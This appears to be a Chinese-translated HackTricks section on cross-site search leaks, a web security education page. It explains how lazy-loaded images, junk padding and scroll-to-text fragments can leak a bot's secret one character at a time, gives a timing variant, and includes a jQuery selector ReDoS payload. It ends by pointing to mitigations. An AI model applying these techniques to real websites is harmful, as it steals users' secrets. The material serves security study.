在HTML中图像有一个“loading”属性,其值可以是“lazy”。在这种情况下,图像将在查看时加载,而不是在页面加载时加载:

<img src=/something loading=lazy >

因此,您可以添加大量的垃圾字符(例如成千上万个"W")来填充网页,使其在秘密信息之前或之后添加类似于**<br><canvas height="1850px"></canvas><br>的内容。
因此,如果例如我们的
注入出现在标志之前**,则图像将会加载,但如果出现在标志之后,标志加上垃圾字符将阻止其加载(您需要调整放置多少垃圾字符)。这就是在这篇文章中发生的情况。

另一个选择是使用scroll-to-text-fragment(如果允许):

滚动到文本片段

但是,您可以让机器人访问页面,例如:

#:~:text=SECR

所以网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中post.html包含攻击者的垃圾字符和延迟加载图像然后机器人的秘密被添加。

这段文本的作用是让机器人访问页面中包含文本SECR的任何文本。由于该文本是秘密,而且它就在图像下方只有在猜测的秘密正确时图像才会加载。因此,您可以利用这一点逐个字符地窃取秘密

一些利用此漏洞的代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

图像延迟加载基于时间

如果无法加载外部图像以指示攻击者图像是否已加载,另一个选择是尝试多次猜测字符并测量时间。如果加载了图像,所有请求将比未加载图像时花费更长的时间。这就是在此解决方案的写作中使用的方法 在这里总结:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

如果使用jQuery(location.hash),可以通过计时确定某些HTML内容是否存在,这是因为如果选择器main[id='site-main']不匹配,则无需检查其余的选择器

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS注入

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御

建议在 https://xsinator.com/paper.pdf 中提供了缓解措施,同时在 https://xsleaks.dev/ 的每个部分也有。请查看这些信息以了解如何防范这些技术。

参考资料

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式


使用 Trickest 可以轻松构建和自动化工作流程,利用世界上最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}